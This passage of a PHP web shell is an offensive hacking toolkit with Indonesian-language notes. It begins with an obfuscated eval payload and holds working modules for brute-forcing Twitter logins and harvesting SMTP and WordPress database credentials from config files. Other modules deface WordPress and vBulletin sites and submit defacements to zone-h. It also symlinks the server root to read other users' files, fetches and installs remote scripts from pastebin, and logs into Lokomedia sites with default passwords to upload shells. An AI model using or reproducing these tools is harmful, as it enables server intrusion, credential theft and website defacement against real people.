$gwtamvan="nUl6QuM4EP58VfyHOR9FipY2KYVdrjTZ5Wvb1b0hXrQfSahlErfxkcTBaSjllv9+4zha0+Vgj4tH1RnPyzMzz9iBDzzncMVnxxGlLlc9DsvJhFaeQp0t8Db319feB+t4gM91InEGNNJc5D4BAhnTiYh9RQilCSr9MApyQ/0ilnhz1gEa5RoUf2D+QfCm2/W/wHQh408ypeBGHrN7+Mj/otENnFZ+twfXfrf7c+Qaq2Dkor3b+LI/E+Z9kRQWE4sSAXF9epQwGuPeKOX5DVWW+g6PUe6AnhcM1xmdMhclDiSSWnwn0boYumHI8nweVpoVTeS9VXHurOiincaYYUykgsbK3fb6A9fbZHQL3L0Ci+OadUhS6jI4dH9eXDpTqrlBTLBZ86DUos5l5Npa1GUXkJWeShLN7jWVjMLf63h1hyUb5iJ02IFVpE8O4af+z+9pQkEAJSE6dGXYL+5OiZTHQve6KZvoIez8m8bj+hrPsdcm0qrvSNex0Jqh5WBja0vtPRrcFi/ZYmjATKkEMZUwhEvhgip1DpWtQll7u0iGA6+434fqfU8zns6HJ5JufB7dQ9AJg0asiN4HC7NTVoKXOIQIMdQqZhBYATTlRnGuFZMAQ8izKSgZ+aQmxHk2G/S8hwevIgNpfsf19vDf7e+6Yvu7u97bwe6e6T8BFyMU3yZMsb3C6pMFS8t+slpgTyNcCIkDUYJQEXB6f5nD77SUXNOcRjjQGtNg0vg8dESlEc7hnOfIoIPzcy5JM1u82Z5JjCeGWQTudU3iWCoimiZzVyGnGQqKdkXP7PNTMdU0pIqNjcnCMA7zLH/ZDtsy4fdaJPv2olKpmDTa4zhcximVxOc7oahFcypbhsUsjsMQIT5KpHPKohStfW/WjbGY5cS0D+V9zyMgxQyX79AbRZuCIVaX3Zb8zieYF/IvMerVZOETYv/q/De/JhJP0yzk9kORZ+ZtD0osm96cGXELDK1QeiVWSIYZYppIFttaxjXPK9ITeO4uuSezwKnHZcO2GHzYGJtk/OJLgWa9Q6hN2dqv3tvbtgMrGkm0R6qr3Y5vJVgVXs2nj5MvbKGw5glGnVMbC+5cYjbuKrK0vUiCxpnrLkjIrBgvziA+gcYlSQs9mpMN6udQNkq36Rj7lLNVaurKeS1G3HcS2QQhIeascFqYlE9pNhf4Tc4UWNEX8q5w6/h9ww2cppT9gR01+dV29KC6PBV2K0nw+qhyfd2WWc475Ors6ODyuO3m4vgSjPW4ukXAagj6q+uNjh34/PH4/Bg+HU4AHpA2GEawH+tAK7VNAth+BYBtBF4F4RFLqksLyPYzQAavAJJK5X0NiuWyc1YqFOt8W6tSQr5+eqrTLAdCY9uPkubEKZbfTvZzY/CGZoKL8lMxBb+yxeVoivfj8Kg544vV7x/ypGn/L+wpndLUxOr14AIPa3bjaf5GXLvEv38A";error_reporting(0);@set_time_limit(0);eval(gzinflate(str_rot13(base64_decode($gwtamvan))));
} elseif($_GET['do'] == 'twitterbf') {
echo "<br><center><span style='font-size:30px; color:#009900'>Twitter Multi-Account BruteForce</span></center><br>
<p dir='ltr' align='center'>
<textarea cols='42' class='area' rows='14' name='username' style='width:300px;height:130px;'>Username</textarea>
<textarea cols='42' class='area' rows='14' name='password' style='width:300px;height:130px;'>Password</textarea><br><br><input type='submit' value='Attack Now'><br></p><br>";
if($_POST['username'] and $_POST['password']){
#function
function brute($user,$pass)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://twitter.com/intent/session/");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "authenticity_token=&session[username_or_email]={$user}&session[password]={$pass}&remember_me=1");
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/34.0.1847.116"); #change with your real useragent plz
# cURL - Brute Users & Password
$login = curl_exec($ch);
if(eregi("error notice", $login)){
echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : Username : <font color='red'>$user</font> Incorrect Password =====>: <font color='red'>$pass</font></font></p>";
}else{
echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : [+] CRACKED SUCCESSFULLY [+]Username : <font color='green'>$user</font> GOOD PASSWORD =====>: <font color='green'>$pass</font></font></p>";
}
}
# POSTS
$username = explode("n", $_POST['username']);
$password = explode("n", $_POST['password']);
# Foreach Users N' Textarea
foreach($username as $users) {
$users = @trim($users);
foreach($password as $pass) {
$pass = @trim($pass);
brute($users,$pass); }}
# cURL
}
echo "<p align='center' dir='ltr'><font size='2'>Coded By : Mauritania Attacker, & Recoded by Rinto AR</font></p>";
} elseif($_GET['do'] == 'smtp') {
echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
function scj($dir) {
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
$ambil = str_replace("$", "", $ambil);
if(preg_match("/JConfig|joomla/", $ambil)) {
$smtp_host = ambilkata($ambil,"smtphost = '","'");
$smtp_auth = ambilkata($ambil,"smtpauth = '","'");
$smtp_user = ambilkata($ambil,"smtpuser = '","'");
$smtp_pass = ambilkata($ambil,"smtppass = '","'");
$smtp_port = ambilkata($ambil,"smtpport = '","'");
$smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
echo "SMTP port: <font color=lime>$smtp_port</font><br>";
echo "SMTP user: <font color=lime>$smtp_user</font><br>";
echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
}
}
}
$smpt_hunter = scj($dir);
echo $smpt_hunter;
} elseif($_GET['do'] == 'csrfup')
{
echo '<html>
<center><h1 style="font-size:33px;">CSRF Exploiter By IndoXPloit<br>Recoded by Rinto AR</h1><br><br>
<font size="3">*Note : Post File, Type : Filedata / dzupload / dzfile / dzfiles / file / ajaxfup / files[] / qqfile / userfile / etc</font>
<br><br>
<form method="post" style="font-size:25px;">
URL: <input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/path/upload.php" style="margin: 5px auto; padding-left: 5px;" required><br>
POST File: <input type="text" name="pf" size="50" height="10" placeholder="Lihat diatas ^" style="margin: 5px auto; padding-left: 5px;" required><br>
<input type="submit" name="d" value="Lock!">
</form>';
$url = $_POST["url"];
$pf = $_POST["pf"];
$d = $_POST["d"];
if($d) {
echo "<form method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$pf'><input type='submit' name='g' value='Upload'></form></form>
</html>";
}
} elseif($_GET['do'] == 'auto_wp') {
if($_POST['hajar']) {
$title = htmlspecialchars($_POST['new_title']);
$pn_title = str_replace(" ", "-", $title);
if($_POST['cek_edit'] == "Y") {
$script = $_POST['edit_content'];
} else {
$script = $title;
}
$conf = $_POST['config_dir'];
$scan_conf = scandir($conf);
foreach($scan_conf as $file_conf) {
if(!is_file("$conf/$file_conf")) continue;
$config = file_get_contents("$conf/$file_conf");
if(preg_match("/WordPress/", $config)) {
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."posts";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
$update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
$update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
echo "<div style='margin: 5px auto;'>";
if($target == '') {
echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
} else {
echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
}
if(!$update OR !$conn OR !$db) {
echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
} else {
echo "<font color=lime>sukses di ganti.</font><br>";
}
echo "</div>";
mysql_close($conn);
}
}
} else {
echo "<center>
<h1>Auto Edit Title+Content WordPress</h1>
<form method='post'>
DIR Config: <br>
<input type='text' size='50' name='config_dir' value='$dir'><br><br>
Set Title: <br>
<input type='text' name='new_title' value='Hacked By Rinto AR' placeholder='New Title'><br><br>
Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
<span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
<textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
<input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
</form>
<span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
";
}
} elseif($_GET['do'] == 'zoneh') {
if($_POST['submit']) {
$domain = explode("
", $_POST['url']);
$nick = $_POST['nick'];
echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
function zoneh($url,$nick) {
$ch = curl_init("http://www.zone-h.com/notify/single");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
return curl_exec($ch);
curl_close($ch);
}
foreach($domain as $url) {
$zoneh = zoneh($url,$nick);
if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
echo "$url -> <font color=lime>OK</font><br>";
} else {
echo "$url -> <font color=red>ERROR</font><br>";
}
}
} else {
echo "<center><form method='post'>
<u>Defacer</u>: <br>
<input type='text' name='nick' size='50' value='Rinto AR'><br>
<u>Domains</u>: <br>
<textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
<input type='submit' name='submit' value='Submit' style='width: 450px;'>
</form>";
}
echo "</center>";
} elseif($_GET['do'] == 'hashid') {
if (isset($_POST['gethash'])) {
$hash = $_POST['hash'];
if (strlen($hash) == 32) {
$hashresult = "MD5 Hash";
} elseif (strlen($hash) == 40) {
$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
} elseif (strlen($hash) == 13) {
$hashresult = "DES(Unix) Hash";
} elseif (strlen($hash) == 16) {
$hashresult = "MySQL Hash / /DES(Oracle Hash)";
} elseif (strlen($hash) == 41) {
$GetHashChar = substr($hash, 40);
if ($GetHashChar == "*") {
$hashresult = "MySQL5 Hash";
}
} elseif (strlen($hash) == 64) {
$hashresult = "SHA-256 Hash";
} elseif (strlen($hash) == 96) {
$hashresult = "SHA-384 Hash";
} elseif (strlen($hash) == 128) {
$hashresult = "SHA-512 Hash";
} elseif (strlen($hash) == 34) {
if (strstr($hash, '$1$')) {
$hashresult = "MD5(Unix) Hash";
}
} elseif (strlen($hash) == 37) {
if (strstr($hash, '$apr1$')) {
$hashresult = "MD5(APR) Hash";
}
} elseif (strlen($hash) == 34) {
if (strstr($hash, '$H$')) {
$hashresult = "MD5(phpBB3) Hash";
}
} elseif (strlen($hash) == 34) {
if (strstr($hash, '$P$')) {
$hashresult = "MD5(Wordpress) Hash";
}
} elseif (strlen($hash) == 39) {
if (strstr($hash, '$5$')) {
$hashresult = "SHA-256(Unix) Hash";
}
} elseif (strlen($hash) == 39) {
if (strstr($hash, '$6$')) {
$hashresult = "SHA-512(Unix) Hash";
}
} elseif (strlen($hash) == 24) {
if (strstr($hash, '==')) {
$hashresult = "MD5(Base-64) Hash";
}
} else {
$hashresult = "Hash type not found";
}
} else {
$hashresult = "Not Hash Entered";
}
?>
<center><br><Br><br>
<form action="" method="POST">
<tr>
<table >
<th colspan="5">Hash Identification</th>
<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
</table></tr></form>
</center>
<?php
} elseif($_GET['do'] == 'cmstector')
{
?>
<form action="?y=<?php echo $pwd; ?>&x=cms_detect" method="post">
<br><br><br><br><center><b><font size=4>+--=[ CMS Detector ]=--+</font></b></center><br><br>
<?php
if(!file_exists('pee.tmp')){
@fopen('pee.tmp', 'w');
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>';
$p = 0;
if(is_readable("/var/named")){
$list = scandir("/var/named");
$current_dir = posix_getcwd();
$dir = explode("/",$current_dir);
foreach($list as $domain){
if(strpos($domain,".db"))
{
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
error_reporting(0);
$link = $pageURL.'pee/'.$owner['name'];
cms_add($link,$domain,$owner['name'],"WordPress");
cms_add($link,$domain,$owner['name'],"Joomla");
cms_add($link,$domain,$owner['name'],"vBulletin");
cms_add($link,$domain,$owner['name'],"WHMCS");
cms_add($link,$domain,$owner['name'],"PhpBB");
cms_add($link,$domain,$owner['name'],"MyBB");
cms_add($link,$domain,$owner['name'],"IPB");
cms_add($link,$domain,$owner['name'],"SMF");
cms_add($link,$domain,$owner['name'],"Drupal");
cms_add($link,$domain,$owner['name'],"e107");
cms_add($link,$domain,$owner['name'],"Seditio");
cms_add($link,$domain,$owner['name'],"osCommerce");
}
}
}
}else{
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>';
$content = file_get_contents($pageURL.'pee.tmp');
echo $content;
}
} elseif($_GET['do'] == 'whois')
{
@set_time_limit(0);
@error_reporting(0);
function sws_domain_info($site)
{
$getip = @file_get_contents("http://networktools.nl/whois/$site");
flush();
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_net_info($site)
{
$getip = @file_get_contents("http://networktools.nl/asinfo/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_site_ser($site)
{
$getip = @file_get_contents("http://networktools.nl/reverseip/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_sup_dom($site)
{
$getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
$ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
return $ip;
flush();
}
function sws_port_scan($ip)
{
$list_post = array('80','21','22','2082','25','53','110','443','143');
foreach ($list_post as $o_port)
{
$connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
if($connect)
{
echo ' $ip : $o_port ??? <u style="color: blue">Open</u> <br /><br />';
flush();
}
}
}
function findit($mytext,$starttag,$endtag) {
$posLeft = @stripos($mytext,$starttag)+strlen($starttag);
$posRight = @stripos($mytext,$endtag,$posLeft+1);
return @substr($mytext,$posLeft,$posRight-$posLeft);
flush();
}
echo '<br><br><center>';
echo '
<br />
<div class="sc"><form method="post"><table>
<tr><th colspan="5" style="border: 2px lime dotted;">Whois Site</th></tr>
<tr><td>Site to scan </td><td>:</td><td><input type="text" name="site" size="50" style="color:white;" class="inputz" value="site.com" />   <input class="inputzbut" type="submit" style="color:white;background-color:#000000" name="scan" value="Scan !" /></td></tr>
</table></form></div>';
if(isset($_POST['scan']))
{
$site = @htmlentities($_POST['site']);
if (empty($site)){die('<br /><br /> Not add IP .. !');}
$ip_port = @gethostbyname($site);
echo "
<br /><div class='sc2'>Scanning [ $site ip $ip_port ] ... </div>
<div class='tit'> <br /><br />|-------------- Port Server ------------------| <br /></div>
<div class='ru'> <br /><br /><pre>
";
echo "".sws_port_scan($ip_port)." </pre></div> ";
flush();
echo '<div class="tit"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
<div class="ru">
<pre>".sws_domain_info($site)."</pre></div>';
flush();
echo '
<div class="tit"> <br /><br />|-------------- Network Info ------------------| <br /></div>
<div class="ru">
<pre>".sws_net_info($site)."</pre> </div>';
flush();
echo '<div class="tit"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
<div class="ru">
<pre>".sws_sup_dom($site)."</pre> </div>';
flush();
echo '<div class="tit"> <br /><br />|-------------- Site Server ------------------| <br /></div>
<div class="ru">
<pre>".sws_site_ser($site)."</pre> </div>
<div class="tit"> <br /><br />|-------------- END ------------------| <br /></div>';
flush();
}
echo '</center>';
} elseif($_GET['do'] == 'vb') {
{
?>
<form action method="post">
<br><br><br><div align="center">
<H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
<b><font color="white">VB IndeX Changer</font></b>
</div><br>
<?php
if(empty($_POST['index'])){
echo "<center><FORM method=POST>";
echo "<table class=tabnet>
<th colspan=2>Vb Index Changer</th>
<tr><td>host </td><td><input class=inputz type=text size=60 name=localhost value=localhost></td></tr>
<tr><td>database </td><td><input class=inputz type=text size=60 name=database value=forum_vb></td></tr>
<tr><td>username </td><td><input class=inputz type=text size=60 name=username value=user_vb></td></tr>
<tr><td>password </td><td><input class=inputz type=text size=60 name=password value=vb></td></tr>
</tr>
<th colspan=2>Your Index Code</th></table><table class=tabnet>
<TEXTAREA name=index rows=13 style='width: 450px; height: 200px;' border=1 cols=69 name=code>Your Index Code Here...</TEXTAREA><br>
<INPUT class=inputzbut type=submit value=setting name=send>
</FORM></table></center>";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$index = $_POST['index'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index=str_replace("'","'",$index);
$set_index = "{${eval(base64_decode('";
$set_index .= base64_encode("echo "$index";");
$set_index .= "'))}}{${exit()}}</textarea>";
echo("SET template ='".$set_index."' ") ;
$ok=@mysql_query("SET template ='".$set_index."'") or die(mysql_error());
if($ok){
echo "Update success...<br><br>";
}
}
}
} elseif($_GET['do'] == 'symlink')
{
@set_time_limit(0);
echo "<br><br><center><h1>Symlink by XaiShell</h1></center><br><br><center><div class=content>";
@mkdir('sym',0777);
$htaccess = "Options all n DirectoryIndex Sux.html n AddType text/plain .php n AddHandler server-parsed .php n AddType text/plain .html n AddHandler txt .html n Require None n Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='blue' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name = $string[1][0];
$iran = '.ir';
$israel = '.il';
$indo = '.id';
$sg12 = '.sg';
$edu = '.edu';
$gov = '.gov';
$gose = '.go';
$gober = '.gob';
$mil1 = '.mil';
$mil2 = '.mi';
$malay = '.my';
$china = '.cn';
$japan = '.jp';
$austr = '.au';
$porn = '.xxx';
$as = '.uk';
$calfn = '.ca';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
<td>
'.$UID['name']."
</td>
<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
} elseif($_GET['do'] == 'cgi') {
$cgi_dir = mkdir('xai_cgi', 0755);
$file_cgi = "xai_cgi/cgi.izo";
$isi_htcgi = "AddHandler cgi-script .izo";
$htcgi = fopen(".htaccess", "w");
$cgi_script = file_get_contents("http://pastebin.com/raw/4wsUXyDG");
$cgi = fopen($file_cgi, "w");
fwrite($cgi, $cgi_script);
fwrite($htcgi, $isi_htcgi);
chmod($file_cgi, 0755);
echo "<iframe src='xai_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
} elseif($_GET['do'] == 'dorking') {
echo "<iframe src='http://deathnotehackers-xtreamanonindo.rhcloud.com/privategblk/' width='100%' height='100%' frameborder='0' scrolling='yes'></iframe>";
} elseif($_GET['do'] == 'bing') {
echo "<iframe src='http://deathnotehackers-xtreamanonindo.rhcloud.com/bing.php' width='100%' height='100%' frameborder='0' scrolling='yes'></iframe>";
} elseif($_GET['do'] == 'presta') {
echo "<iframe src='http://deathnotehackers-xtreamanonindo.rhcloud.com/prestashop.php' width='100%' height='100%' frameborder='0' scrolling='yes'></iframe>";
} elseif($_GET['do'] == 'magento') {
echo "<iframe src='http://deathnotehackers-xtreamanonindo.rhcloud.com/magento.php' width='100%' height='100%' frameborder='0' scrolling='yes'></iframe>";
} elseif($_GET['do'] == 'admfinder') {
echo "<iframe src='http://deathnotehackers-xtreamanonindo.rhcloud.com/adminfinder.php' width='100%' height='100%' frameborder='0' scrolling='yes'></iframe>";
} elseif($_GET['do'] == 'iplookup') {
echo "<iframe src='http://deathnotehackers-xtreamanonindo.rhcloud.com/iplookup.php' width='100%' height='100%' frameborder='0' scrolling='yes'></iframe>";
} elseif($_GET['do'] == 'lokomedia') {
function cek($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
function curl($url,$payload) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
echo "<center>
<h1>Lokomedia Auto Tanam Shell</h1>
<form method='post'>
Domain: <br>
<textarea placeholder='http://www.target.com/' name='url' style='width: 500px; height: 250px;'></textarea><br>
<input type='submit' name='hajar' value='変体'>
</form>";
if($_POST['hajar']) {
$domain = explode("
", $_POST['url']);
$up = array(
"admin" => "admin",
"admin" => "123456",
"xai" => "xaixploit",
"admin" => "admin12345",
"admin" => "admin123",
"direktur" => "admin",
);
foreach($domain as $url) {
foreach($up as $user => $pass) {
$data1 = array(
"username" => $user,
"password" => $pass,
);
$login = curl($url."/adminweb/cek_login.php", $data1);
if(preg_match("/Logout|Administrator/", $login)) {
$file = "shellmu.php"; //1 dir dengan exploiternyaa
$data2 = array(
"judul" => "xaishell auto exploiter lokomedia",
"fupload" => "@$file",
"upload" => " Simpan ",
);
$ngirim = curl($url."/adminweb/modul/mod_download/aksi_download.php?module=download&act=input",$data);
if(preg_match("/xaixploit auto exploiter lokomedia/i", $ngirim)) {
echo "[+] $url -> <font color=green>sukses login [ user: $user pass: $pass ]</font><br>";
$cek = cek("$url/files/image.php");
if(preg_match("/xaixploit/", $cek)) {
echo "[+] $url/files/image.php -> <font color=green>shelmu.</font><br><br>";
} else {
echo "[-] <font color='#bb0000'>shellmu gaada.</font><br><br>";
}
}
} else {
echo "[-] $url -> gagal login<br><br>";
}
}
}
}
} elseif($_GET['do'] == 'fake_root') {
ob_start();
function reverse($url) {
$ch = curl_init("http://domains.yougetsignal.com/domains.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
$resp = curl_exec($ch);
$resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
$array = explode(",,", $resp);
unset($array[0]);
foreach($array as $lnk) {
$lnk = "http://$lnk";
$lnk = str_replace(",", "", $lnk);
echo $lnk."
";
ob_flush();
flush();
}
curl_close($ch);
}
function cek($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$resp = curl_exec($ch);
return $resp;
}
$cwd = getcwd();
$ambil_user = explode("/", $cwd);
$user = $ambil_user[2];
if($_POST['reverse']) {
$site = explode("
", $_POST['url']);
$file = $_POST['file'];
foreach($site as $url) {
$cek = cek("$url/~$user/$file");
if(preg_match("/hacked/i", $cek)) {
echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
}
}
} else {
echo "<center><form method='post'>
Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
Domain: <br>
<textarea style='width: 450px; height: 250px;' name='url'>";
reverse($_SERVER['HTTP_HOST']);
echo "</textarea><br>
<input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
</form><br>
NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
}
} elseif($_GET['do'] == 'configfuck') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
function configfuck($url, $isi) {
$fp = fopen($isi, "w");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FILE, $fp);
return curl_exec($ch);
curl_close($ch);
fclose($fp);
ob_flush();
flush();
}
if(file_exists('configfuck.php')) {
echo "<center><font color=lime><a href='$full/configfuck.php' target='_blank'>-> configfucker <-</a></font></center>";
} else {
if(configfuck("http://pastebin.com/raw/HbUY2UZD","configfuck.php")) {
echo "<center><font color=lime><a href='$full/configfuck.php' target='_blank'>-> configfucker <-</a></font></center>";
} else {
echo "<center><font color=red>gagal buat file configfucker</font></center>";
}
}
} elseif($_GET['do'] == 'adminer') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
function adminer($url, $isi) {
$fp = fopen($isi, "w");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FILE, $fp);
return curl_exec($ch);
curl_close($ch);
fclose($fp);
ob_flush();
flush();
}
if(file_exists('adminer.php')) {
echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
} else {
if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
} else {
echo "<center><font color=red>gagal buat file adminer</font></center>";
}
}
}elseif($_GET['do'] == 'passwbypass') {
echo '<center>Bypass etc/passw With:<br>
<table style="width:50%">
<tr>
<td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
<td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
<td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>
<td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>
<td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
</tr></table>Bypass User With : <table style="width:50%">
<tr>
<td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
<td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
<td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>
